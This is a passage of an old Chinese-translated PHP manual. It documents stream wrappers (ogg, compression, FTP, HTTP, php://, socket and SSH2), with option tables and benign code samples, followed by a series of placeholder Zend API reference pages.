通过 ogg:// 封装器打开的文件，被当作使用 OGG/Vorbis 编码压缩的音频文件来读取。类似地，通过 ogg:// 封装器写入或附加的文件，被当作使用 OGG/Vorbis 编码压缩的音频文件来写入。 stream_get_meta_data()，当使用在打开读取的 OGG/Vorbis 文件时，返回该文件流的详细信息，包括：vendor 标签， comments， channels, rate 采样率, 和编码范围。编码范围用如下参数描述： bitrate_lower, bitrate_upper, bitrate_nominal, 和 bitrate_window。

表格 L-10. 封装协议摘要

属性 | 支持
受限于 allow_url_fopen。 | 否
允许读取 | 是
允许写入 | 是
允许附加 | 是
允许同时读写 | 否
支持 stat() | 否
支持 unlink() | 否
支持 rename() | 否
支持 mkdir() | 否
支持 rmdir() | 否

表格 L-11. 上下文选项

名称 | 用法 | 默认 | 模式
pcm_mode | 读取时使用如下 PCM 编码之一: OGGVORBIS_PCM_U8, OGGVORBIS_PCM_S8, OGGVORBIS_PCM_U16_BE, OGGVORBIS_PCM_S16_BE, OGGVORBIS_PCM_U16_LE, 和 OGGVORBIS_PCM_S16_LE。 (8 或 16 位，签名或未签名，大或小的 endian) | OGGVORBIS_PCM_S16_LE | 读取
rate | 输入数据的采样率，单位为 Hz | 44100 | 写入/附加
bitrate | 若给的值为整数，则是用固定的比特率进行编码。(16000 到 131072) 若给的值为浮点数，则使用可变的比特率品质。(-1.0 到 1.0) | 128000 | 写入/附加
channels | 要编码的声道的数量，典型为 1 (单声道), 或 2 (立体声)。最高支持 16 声道。 | 2 | 写入/附加
comments | 编码到音轨头部的字符串数组。 |  | 写入/附加

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Secure Shell 2 | 上一级 | 可用过滤器列表


压缩流

zlib: PHP 4.0.4 - PHP 4.2.3（仅用于带 fopencookie 的系统）

PHP 4.3.0 及以上版本支持 compress.zlib:// 和 compress.bzip2://

  • zlib:

  • compress.zlib://

  • compress.bzip2://

zlib: 和 gzopen() 的工作方式相象，只除了流可以用于 fread() 和其它文件系统函数。自 PHP 4.3.0 起已不赞成使用，因为可能会和包含有“:”字符的文件名混淆，用 compress.zlib:// 代替。

compress.zlib:// 和 compress.bzip2:// 各自等同于 gzopen() 和 bzopen()，并且可以在不支持 fopencookie 的系统中使用。

表格 L-7. 封装协议摘要

属性 | 支持
受限于 allow_url_fopen。 | 否
允许读取 | 是
允许写入 | 是
允许附加 | 是
允许同时读写 | 否
支持 stat() | 否，请使用 file:// 封装器统计压缩文件。
支持 unlink() | 否，请使用 file:// 封装器删除压缩文件。
支持 rename() | 否
支持 mkdir() | 否
支持 rmdir() | 否

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 输入／输出流 | 上一级 | Secure Shell 2


FTP 和 FTPS

PHP 3，PHP 4，PHP 5。自 PHP 4.3.0 起支持 ftps://

  • ftp://example.com/pub/file.txt

  • ftp://user:password@example.com/pub/file.txt

  • ftps://example.com/pub/file.txt

  • ftps://user:password@example.com/pub/file.txt

允许对已有文件进行只读访问以及通过 FTP 建立新文件。如果服务器不支持被动模式的 ftp，则连接会失败。

可以用读或者写的方式打开文件，但不能同时是读写。如果 ftp 服务器上已经存在远程文件而试图用写的方式打开但又没有指定 overwrite 的上下文选项，则连接会失败。如果想通过 ftp 更新已有的文件，则在上下文中指定 overwrite 选项并用写的方式打开。还可以用 FTP 扩展。

追加文件: 自 PHP 5.0.0 起可以通过 ftp:// URL 协议来追加文件。在之前的版本试图通过 ftp:// 来追加文件会导致失败。

ftps:// 是 PHP 4.3.0 引进的。它和 ftp:// 相同，但是尝试和 ftp 服务器建立一个安全连接。如果服务器不支持 SSL，则会返回一个普通的未加密的 ftp 连接。

注: 自 PHP 4.3.0 起开始支持 FTPS，需要在编译时加入 OpenSSL 的支持。

表格 L-4. Wrapper Summary

属性 | PHP 4 | PHP 5
受限于 allow_url_fopen。 | 是 | 是
允许读取 | 是 | 是
允许写入 | 是（仅允许写入新文件） | 是（允许使用 overwrite 参数覆盖新文件）
允许附加 | 否 | 是（PHP 5.0.0 或更新版本）
允许同时读写 | 否 | 否
支持 stat() | 否 | PHP 5.0.0：仅在 filesize()，filetype()，file_exists()，is_file() 和 is_dir() 中支持。PHP 5.1.0：filemtime()。
支持 unlink() | 否 | 是
支持 rename() | 否 | 是
支持 mkdir() | 否 | 是
支持 rmdir() | 否 | 是

表格 L-5. 上下文选项（自 PHP 5.0 起）

名称 | 用法 | 默认值
overwrite | 允许覆盖远程服务器上已存在的文件。仅适用于写入模式（上传）。 | FALSE（禁用）
resume_pos | 开始传输的文件偏移量。仅适用于读取模式（下载）。 | 0（文件头）
proxy(PHP 5.1.0 或更高版本) | 通过 HTTP 代理服务器对 FTP 发出请求 仅能进行文件读取操作。 例如：tcp://squid.example.com:8000 |

底层套接字流上下文选项（Underlying socket stream context options）: 有可能通过底层传输（underlying transport）支持附加的上下文选项。对于 ftp:// 流，参考 tcp:// 传输的上下文选项。对于 ftps:// 流，参考 ssl:// 传输的上下文选项。

add a note add a note User Contributed Notes
26-Sep-2005 11:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com
04-Jul-2004 03:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing
add a note add a note

后退 | 起点 | 前进
HTTP 和 HTTPS | 上一级 | PHP 输入／输出流


HTTP 和 HTTPS

PHP 3, PHP 4, PHP 5。自 PHP 4.3.0 起支持 https://

  • http://example.com

  • http://example.com/file.php?var1=val1&var2=val2

  • http://user:password@example.com

  • https://example.com

  • https://example.com/file.php?var1=val1&var2=val2

  • https://user:password@example.com

允许通过 HTTP 1.0 使用 HTTP GET 方法对文件／资源进行只读访问。Host: 报头也会通过请求发送出去以支持基于域名的虚拟主机。如果在 ini 文件或者流上下文配置了 user_agent 字符串，也会被包括在请求报头中。

警告

当使用 SSL 时，Microsoft IIS 将违反协议不发送 close_notify 标记就关闭连接。PHP 将在到达数据尾端时报告 "SSL: Fatal Protocol Error"。要绕过此问题，应将 error_reporting 级别降低为不包括警告。PHP 4.3.7 及更高版本可以在当使用 https:// 封装协议打开流的时候检测出有此问题的 IIS 服务器并抑制警告。如果使用 fsockopen() 来创建一个 ssl:// 套接字，则需要自己检测并抑制警告信息。

自 PHP 4.0.5 起支持重定向。如果使用较早版本的 PHP 则需要在 URL 末尾包括一个斜线。如果一定要知道文档所在的资源的 url（在所有重定向被处理过之后），则需要处理从流返回的一系列响应报头信息。

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

/* 在 PHP 4.3.0 之前使用 $http_response_header
   而不是 stream_get_meta_data() */
$meta_data = stream_get_meta_data($fp);
foreach($meta_data['wrapper_data'] as $response) {

  /* 重定向到何处? */
  if (substr(strtolower($response), 0, 18) == 'content-location: ') {
    /* 把要重定向的链接赋值给 $url */
    $url = substr($response, 18);
  }
}
?>

流允许访问资源的正文，报头部分保存在 $http_response_header 变量中。自 PHP 4.3.0 起，可以用 stream_get_meta_data() 得到报头。

HTTP 连接是只读的，不能将数据写入或者拷贝文件到 HTTP 资源。

注: 自 PHP 4.3.0 起开始支持 HTTPS，需要在编译时加入 OpenSSL 的支持。

表格 L-2. Wrapper Summary

属性 | 支持
受限于 allow_url_fopen | 是
允许读取 | 是
允许写入 | 否
允许附加 | 否
允许同时读写 | 无效
支持 stat() | 否
支持 unlink() | 否
支持 rename() | 否
支持 mkdir() | 否
支持 rmdir() | 否

表格 L-3. 上下文选项

名称 | 用法 | 默认值
method | GET、POST 或任何其它被远程服务器支持的 HTTP 方式。 | GET
header | 请求中要发送的附加的头信息。此选项中的值将覆盖其它值（例如 User-agent:，Host: 和 Authentication:）。 |
user_agent | 在 User-Agent: 头信息中要发送的值。此值仅用于没有在上面 header 的上下文选项中指定 user-agent 时。 | php.ini 设置：user_agent
content | 头信息之后要发送的附加数据。典型用于 POST 或 PUT 请求。 |
proxy | 以 URI 格式指定的代理服务器（例如 tcp://proxy.example.com:5100）。 |
request_fulluri | 设置为 TRUE 时，建立请求时整个 URI 将被使用。(即 GET http://www.example.com/path/to/file.html HTTP/1.0)。 而这是一个非标准请求格式，某些代理服务器需要它。 | FALSE
max_redirects | 连续重定向的最大值。从 PHP 5.1.0 开始存在。 | 20

底层的套接字流（socket stream）上下文选项: 有可能通过底层传输（underlying transport）支持附加的上下文选项。对于 http:// 流，参考 tcp:// 传输的上下文选项。对于 https:// 流，参考 ssl:// 传输的上下文选项。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Socket | 上一级 | FTP 和 FTPS


PHP 输入／输出流

PHP 3.0.13 及以上版本，自 PHP 4.3.0 起支持 php://output 和 php://input，自 PHP 5.0.0 起支持 php://filter。

  • php://stdin

  • php://stdout

  • php://stderr

  • php://output

  • php://input

  • php://filter

php://stdin，php://stdout 和 php://stderr 允许访问 PHP 进程相应的输入或者输出流。

php://output 允许向输出缓冲机制写入数据，和 print() 与 echo() 的方式相同。

php://input 允许读取 POST 的原始数据。和 $HTTP_RAW_POST_DATA 比起来，它给内存带来的压力较小，并且不需要任何特殊的 php.ini 设置。php://input 不能用于 enctype="multipart/form-data"。

php://stdin 和 php://input 是只读的，同时 php://stdout，php://stderr 和 php://output 是只写的。

php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数例如 readfile()，file() 和 file_get_contents() 很有用，否则就没有机会在读取内容之前将过滤器应用于流之上。

php://filter 的目标接受随后的“参数”作为其“路径”的一部分。

  • /resource=<stream to be filtered> (required) 此参数必须位于 php://filter 的末尾并且需要指向向要过滤的流。

    <?php
    /* This is equivalent to simply:
       readfile("http://www.example.com");
       since 否 filters are actually specified */

    readfile("php://filter/resource=http://www.example.com");
    ?>

  • /read=<filter list to apply to read chain> (optional) 本参数接受一个或多个过滤器的名字，用管道字符 | 分隔。

    <?php
    /* This will output the contents of
       www.example.com entirely in uppercase */
    readfile("php://filter/read=string.toupper/resource=http://www.example.com");

    /* This will do the same as above
       but will also ROT13 encode it */
    readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
    ?>

  • /write=<filter list to apply to write chain> (optional) 本参数接受一个或多个过滤器的名字，用管道字符 | 分隔。

    <?php
    /* 下面的语句将使用 rot13 过滤器过滤 "Hello World"
       字符串，并写入当前目录下的 example.txt */
    file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
    ?>

  • /<filter list to apply to both chains> (optional) 任何没有被 read= 或 write= 指定的过滤器会被同时应用于读写链。

表格 L-6. 封装协议摘要（对于 php://filter，是指被过滤的封装器摘要。）

属性 | 支持
受限于 allow_url_fopen。 | 否
允许读取 | 仅在 php://stdin 和 php://input 中允许。
允许写入 | 仅在 php://stdout, php://stderr, 和 php://output 中允许。
允许附加 | 仅在 php://stdout, php://stderr, 和 php://output 中允许 (与写入相同)。
允许同时读写 | 否。这些封装器是单向的。
支持 stat() | 否
支持 unlink() | 否
支持 rename() | 否
支持 mkdir() | 否
支持 rmdir() | 否

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FTP 和 FTPS | 上一级 | 压缩流


Socket

本节包含支持可工作于套接字的封装协议的上下文选项，如 tcp，http 或 ftp。

自 PHP 5.1.0 起只支持一个选项，bindto，可用来指定 IP 地址（可以是 IPv4 或 IPv6）和／或 PHP 将用来访问网络的端口号。语法是 ip:port（如果想让系统自动选择可以将 IP 或端口号设为 0）。

注: 因 FTP 在正常运行时创建两个套接字连接，此时不能在 bindto 选项中指定端口号。因此对于 FTP wrapper 只支持一种语法 ip:0。

例子 L-1. 怎样使用 bindto 选项的一些例子

<?php
// connect to the internet using the '192.168.0.100' IP
$opts = array('socket' =>
            array('bindto' => '192.168.0.100:0'));

// connect to the internet using the '192.168.0.100' IP and port '7000'
$opts = array('socket' =>
            array('bindto' => '192.168.0.100:7000'));

// connect to the internet using port '7000'
$opts = array('socket' =>
            array('bindto' => '0:7000'));

// create the context...
$context = stream_context_create($opts);

// ...and use it to fetch the data
echo file_get_contents('http://www.example.com', false, $context);

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
支持的协议／封装协议列表 | 上一级 | HTTP 和 HTTPS


Secure Shell 2

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// PHP 4.3.0 及以上版本 (PECL)

  • ssh2.shell://user:pass@example.com:22/xterm

  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd

  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14

  • ssh2.sftp://user:pass@example.com:22/path/to/filename

该封装器默认没有启用: 要使用 ssh2.*:// 封装器，必须安装 SSH2 扩展。可以到 PECL 下载。

除了接受传统 URI 的登录信息外，ssh2 封装器也重用主机 URL 的一部分的连接资源。

例子 L-2. 为活动连接打开流

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

表格 L-8. 封装协议摘要

属性 | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
受限于 allow_url_fopen。 | 是 | 是 | 是 | 是 | 是
允许读取 | 是 | 是 | 是 | 是 | 是
允许写入 | 是 | 是 | 是 | 是 | 否
允许附加 | 否 | 否 | 否 | 是 (若服务器支持) | 否
允许同时读写 | 是 | 是 | 是 | 是 | 否
支持 stat() | 否 | 否 | 否 | 是 | 否
支持 unlink() | 否 | 否 | 否 | 是 | 否
支持 rename() | 否 | 否 | 否 | 是 | 否
支持 mkdir() | 否 | 否 | 否 | 是 | 否
支持 rmdir() | 否 | 否 | 否 | 是 | 否

表格 L-9. 上下文选项

名称 | 用法 | 默认
session | 可重用预连接的 ssh2 连接资源 |
sftp | 可重用预分配的 sftp 连接资源 |
methods | 要使用的 Key exchange, hostkey, cipher, compression, 和 MAC 方法 |
callbacks |  |
username | 连接的用户名 |
password | 密码认证时需要的密码 |
pubkey_file | 认证需要的 public key 文件名 |
privkey_file | 认证需要的 private key 文件名 |
env | 要设置的环境变量的数组 |
term | 当分配一个控制台时使用的终端类型 |
term_width | 当分配一个控制台时终端的宽度 |
term_height | 当分配一个控制台时终端的高度 |
term_units | 与 term_width 和 term_height 一同使用的单元 | SSH2_TERM_UNIT_CHARS

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
压缩流 | 上一级 | 音频流


API 函数（尚未完成）

目录
_array_init -- ...
_object_and_properties_init -- ...
_object_init_ex -- ...
_object_init -- ...
_zend_bailout -- ...
_zend_get_parameters_array_ex -- ...
_zend_get_parameters_array -- ...
_zend_hash_add_or_update -- ...
_zend_hash_index_update_or_next_insert -- ...
_zend_hash_init_ex -- ...
_zend_hash_init -- ...
_zend_hash_merge -- ...
_zend_hash_quick_add_or_update -- ...
Z_ARRVAL_P --
Z_ARRVAL_PP --
Z_ARRVAL --
Z_BVAL_P --
Z_BVAL_PP --
Z_BVAL --
Z_DVAL_P --
Z_DVAL_PP --
Z_DVAL --
Z_LVAL_P --
Z_LVAL_PP --
Z_LVAL --
Z_OBJ_CLASS_NAME_P --
Z_OBJ_HANDLE_P --
Z_OBJ_HANDLE_PP --
Z_OBJ_HANDLE --
Z_OBJ_HANDLER_P --
Z_OBJ_HANDLER_PP --
Z_OBJ_HANDLER --
Z_OBJ_HT_P --
Z_OBJ_HT_PP --
Z_OBJ_HT --
Z_OBJCE_P --
Z_OBJCE_PP --
Z_OBJCE --
Z_OBJPROP_P --
Z_OBJPROP_PP --
Z_OBJPROP --
Z_RESVAL_P --
Z_RESVAL_PP --
Z_RESVAL --
Z_STRLEN_P --
Z_STRLEN_PP --
Z_STRLEN --
Z_STRVAL_P --
Z_STRVAL_PP --
Z_STRVAL --
Z_TYPE_P --
Z_TYPE_PP --
Z_TYPE --
ZEND_WRONG_PARAM_COUNT_WITH_RETVAL -- Generate standard error message and return custom value
add_assoc_bool_ex -- ...
add_assoc_bool -- ...
add_assoc_double_ex -- ...
add_assoc_double -- ...
add_assoc_function -- ...
add_assoc_long_ex -- ...
add_assoc_long -- ...
add_assoc_null_ex -- ...
add_assoc_null -- ...
add_assoc_resource_ex -- ...
add_assoc_resource -- ...
add_assoc_string_ex -- ...
add_assoc_string -- ...
add_assoc_stringl_ex -- ...
add_assoc_stringl -- ...
add_assoc_zval_ex -- ...
add_assoc_zval -- ...
add_get_assoc_string_ex -- ...
add_get_assoc_string -- ...
add_get_assoc_stringl_ex -- ...
add_get_assoc_stringl -- ...
add_get_index_double -- ...
add_get_index_long -- ...
add_get_index_string -- ...
add_get_index_stringl -- ...
add_index_bool -- ...
add_index_double -- ...
add_index_long -- ...
add_index_null -- ...
add_index_resource -- ...
add_index_string -- ...
add_index_stringl -- ...
add_index_zval -- ...
add_next_index_bool -- ...
add_next_index_double -- ...
add_next_index_long -- ...
add_next_index_null -- ...
add_next_index_resource -- ...
add_next_index_string -- ...
add_next_index_stringl -- ...
add_next_index_zval -- ...
add_property_bool_ex -- ...
add_property_bool -- ...
add_property_double_ex -- ...
add_property_double -- ...
add_property_long_ex -- ...
add_property_long -- ...
add_property_null_ex -- ...
add_property_null -- ...
add_property_resource_ex -- ...
add_property_resource -- ...
add_property_string_ex -- ...
add_property_string -- ...
add_property_stringl_ex -- ...
add_property_stringl -- ...
add_property_zval_ex -- ...
add_property_zval -- ...
array_init -- ...
call_user_function_ex -- ...
call_user_function -- ...
free_estring -- ...
get_zend_version -- ...
ZEND_WRONG_PARAM_COUNT -- Generate standard error message for wrong parameter count in function or method call
object_and_properties_init -- ...
object_init_ex -- ...
object_init -- ...
zend_call_function -- ...
zend_check_magic_method_implementation -- ...
zend_class_implements -- ...
zend_copy_parameters_array -- ...
zend_declare_property_bool -- ...
zend_declare_property_double -- ...
zend_declare_property_ex -- ...
zend_declare_property_long -- ...
zend_declare_property_null -- ...
zend_declare_property_string -- ...
zend_declare_property_stringl -- ...
zend_declare_property -- ...
zend_delete_global_variable -- ...
zend_disable_class -- ...
zend_disable_function -- ...
zend_error -- ...
zend_get_class_entry -- ...
zend_get_configuration_directive -- ...
zend_get_hash_value -- ...
zend_get_module_started -- ...
zend_get_module_version -- ...
zend_get_object_classname -- ...
zend_get_parameters_array_ex -- ...
zend_get_parameters_array -- ...
zend_get_parameters_ex -- ...
zend_get_parameters -- ...
zend_get_std_object_handlers -- ...
zend_hash_add_empty_element -- ...
zend_hash_add -- ...
zend_hash_apply_with_argument -- ...
zend_hash_apply_with_arguments -- ...
zend_hash_apply -- ...
zend_hash_clean -- ...
zend_hash_compare -- ...
zend_hash_copy -- ...
zend_hash_del_key_or_index -- ...
zend_hash_destroy -- ...
zend_hash_exists -- ...
zend_hash_find -- ...
zend_hash_func -- ...
zend_hash_get_current_data_ex -- ...
zend_hash_get_current_key_ex -- ...
zend_hash_get_current_key_type_ex -- ...
zend_hash_graceful_destroy -- ...
zend_hash_graceful_reverse_destroy -- ...
zend_hash_index_exists -- ...
zend_hash_index_find -- ...
zend_hash_init_ex -- ...
zend_hash_init -- ...
zend_hash_internal_pointer_end_ex -- ...
zend_hash_internal_pointer_reset_ex -- ...
zend_hash_merge_ex -- ...
zend_hash_minmax -- ...
zend_hash_move_backwards_ex -- ...
zend_hash_move_forward_ex -- ...
zend_hash_next_free_element -- ...
zend_hash_num_elements -- ...
zend_hash_quick_add -- ...
zend_hash_quick_exists -- ...
zend_hash_quick_find -- ...
zend_hash_quick_update -- ...
zend_hash_rehash -- ...
zend_hash_reverse_apply -- ...
zend_hash_sort -- ...
zend_hash_update_current_key_ex -- ...
zend_hash_update -- ...
zend_is_callable_ex -- ...
zend_is_callable -- ...
zend_make_callable -- ...
zend_make_printable_zval -- ...
zend_merge_properties -- ...
zend_message_dispatcher -- ...
zend_object_create_proxy -- ...
zend_object_store_ctor_failed -- ...
zend_object_store_get_object -- ...
zend_object_store_set_object -- ...
zend_objects_store_add_ref -- ...
zend_objects_store_call_destructors -- ...
zend_objects_store_clone_obj -- ...
zend_objects_store_del_ref -- ...
zend_objects_store_destroy -- ...
zend_objects_store_free_object_storage -- ...
zend_objects_store_init -- ...
zend_objects_store_mark_destructed -- ...
zend_objects_store_put -- ...
zend_output_debug_string -- ...
zend_parse_method_parameters_ex -- ...
zend_parse_method_parameters -- ...
zend_parse_parameters_ex -- ...
zend_parse_parameters -- ...
zend_print_flat_zval_r -- ...
zend_print_zval_ex -- ...
zend_print_zval_r_ex -- ...
zend_print_zval_r -- ...
zend_print_zval -- ...
zend_read_property -- ...
zend_register_functions -- ...
zend_register_internal_class_ex -- ...
zend_register_internal_class -- ...
zend_register_internal_interface -- ...
zend_register_internal_module -- ...
zend_register_module_ex -- ...
zend_register_module -- ...
zend_reset_all_cv -- ...
zend_startup_module_ex -- ...
zend_startup_module -- ...
zend_startup_modules -- ...
zend_unregister_functions -- ...
zend_update_class_constants -- ...
zend_update_property_bool -- ...
zend_update_property_double -- ...
zend_update_property_long -- ...
zend_update_property_null -- ...
zend_update_property_string -- ...
zend_update_property_stringl -- ...
zend_update_property -- ...
zend_wrong_param_count -- Generate standard error message for wrong parameter count in function or method call
zend_zval_type_name -- Returns the PHP type name for a given zval

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
API Macros | 上一级 | _array_init


Zend API：深入 PHP 内核

PHP 手册
后退 前进

章 45. Zend API：深入 PHP 内核

目录
Introduction
Overview
Extension Possibilities
Source Layout
PHP's Automatic Build System
Creating Extensions
Using Extensions
Troubleshooting
Source Discussion
Accepting Arguments
Creating Variables
Duplicating Variable Contents: The Copy Constructor
Returning Values
Printing Information
Startup and Shutdown Functions
Calling User Functions
Initialization File Support
Where to Go from Here
Reference: Some Configuration Macros
API Macros
API 函数（尚未完成）

Introduction

Those who know don't talk.

Those who talk don't know.

Sometimes, PHP "as is" simply isn't enough. Although these cases are rare for the average user, professional applications will soon lead PHP to the edge of its capabilities, in terms of either speed or functionality. New functionality cannot always be implemented natively due to language restrictions and inconveniences that arise when having to carry around a huge library of default code appended to every single script, so another method needs to be found for overcoming these eventual lacks in PHP.

As soon as this point is reached, it's time to touch the heart of PHP and take a look at its core, the C code that makes PHP go.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Stream open options | 上一级 | Overview


Z_ARRVAL

(no version information, might be only in CVS)

Z_ARRVAL --

说明

#include <zend_operators.h>

void Z_ARRVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_ARRVAL_PP | 上一级 | Z_BVAL_P


Z_ARRVAL_P

(no version information, might be only in CVS)

Z_ARRVAL_P --

说明

#include <zend_operators.h>

void Z_ARRVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
_zend_hash_quick_add_or_update | 上一级 | Z_ARRVAL_PP


Z_ARRVAL_PP

(no version information, might be only in CVS)

Z_ARRVAL_PP --

说明

#include <zend_operators.h>

void Z_ARRVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_ARRVAL_P | 上一级 | Z_ARRVAL


Z_BVAL

(no version information, might be only in CVS)

Z_BVAL --

说明

#include <zend_operators.h>

void Z_BVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_BVAL_PP | 上一级 | Z_DVAL_P


Z_BVAL_P

(no version information, might be only in CVS)

Z_BVAL_P --

说明

#include <zend_operators.h>

void Z_BVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_ARRVAL | 上一级 | Z_BVAL_PP


Z_BVAL_PP

(no version information, might be only in CVS)

Z_BVAL_PP --

说明

#include <zend_operators.h>

void Z_BVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_BVAL_P | 上一级 | Z_BVAL


Z_DVAL

(no version information, might be only in CVS)

Z_DVAL --

说明

#include <zend_operators.h>

void Z_DVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_DVAL_PP | 上一级 | Z_LVAL_P


Z_DVAL_P

(no version information, might be only in CVS)

Z_DVAL_P --

说明

#include <zend_operators.h>

void Z_DVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_BVAL | 上一级 | Z_DVAL_PP


Z_DVAL_PP

(no version information, might be only in CVS)

Z_DVAL_PP --

说明

#include <zend_operators.h>

void Z_DVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_DVAL_P | 上一级 | Z_DVAL


Z_LVAL

(no version information, might be only in CVS)

Z_LVAL --

说明

#include <zend_operators.h>

void Z_LVAL ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_LVAL_PP | 上一级 | Z_OBJ_CLASS_NAME_P


Z_LVAL_P

(no version information, might be only in CVS)

Z_LVAL_P --

说明

#include <zend_operators.h>

void Z_LVAL_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_DVAL | 上一级 | Z_LVAL_PP


Z_LVAL_PP

(no version information, might be only in CVS)

Z_LVAL_PP --

说明

#include <zend_operators.h>

void Z_LVAL_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_LVAL_P | 上一级 | Z_LVAL


Z_OBJ_CLASS_NAME_P

(no version information, might be only in CVS)

Z_OBJ_CLASS_NAME_P --

说明

#include <zend_operators.h>

void Z_OBJ_CLASS_NAME_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_LVAL | 上一级 | Z_OBJ_HANDLE_P


Z_OBJ_HANDLE

(no version information, might be only in CVS)

Z_OBJ_HANDLE --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLE ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLE_PP | 上一级 | Z_OBJ_HANDLER_P


Z_OBJ_HANDLE_P

(no version information, might be only in CVS)

Z_OBJ_HANDLE_P --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLE_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_CLASS_NAME_P | 上一级 | Z_OBJ_HANDLE_PP


Z_OBJ_HANDLE_PP

(no version information, might be only in CVS)

Z_OBJ_HANDLE_PP --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLE_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLE_P | 上一级 | Z_OBJ_HANDLE


Z_OBJ_HANDLER

(no version information, might be only in CVS)

Z_OBJ_HANDLER --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLER ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLER_PP | 上一级 | Z_OBJ_HT_P


Z_OBJ_HANDLER_P

(no version information, might be only in CVS)

Z_OBJ_HANDLER_P --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLER_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLE | 上一级 | Z_OBJ_HANDLER_PP


Z_OBJ_HANDLER_PP

(no version information, might be only in CVS)

Z_OBJ_HANDLER_PP --

说明

#include <zend_operators.h>

void Z_OBJ_HANDLER_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLER_P | 上一级 | Z_OBJ_HANDLER


Z_OBJ_HT

(no version information, might be only in CVS)

Z_OBJ_HT --

说明

#include <zend_operators.h>

void Z_OBJ_HT ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HT_PP | 上一级 | Z_OBJCE_P


Z_OBJ_HT_P

(no version information, might be only in CVS)

Z_OBJ_HT_P --

说明

#include <zend_operators.h>

void Z_OBJ_HT_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HANDLER | 上一级 | Z_OBJ_HT_PP


Z_OBJ_HT_PP

(no version information, might be only in CVS)

Z_OBJ_HT_PP --

说明

#include <zend_operators.h>

void Z_OBJ_HT_PP ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HT_P | 上一级 | Z_OBJ_HT


Z_OBJCE

(no version information, might be only in CVS)

Z_OBJCE --

说明

#include <zend_operators.h>

void Z_OBJCE ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJCE_PP | 上一级 | Z_OBJPROP_P


Z_OBJCE_P

(no version information, might be only in CVS)

Z_OBJCE_P --

说明

#include <zend_operators.h>

void Z_OBJCE_P ( void )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Z_OBJ_HT | 上一级 | Z_OBJCE_PP


Z_OBJCE_PP

(no version information, might be only in CVS)

Z_OBJCE_PP --

说明

#include <zend_operators.h>

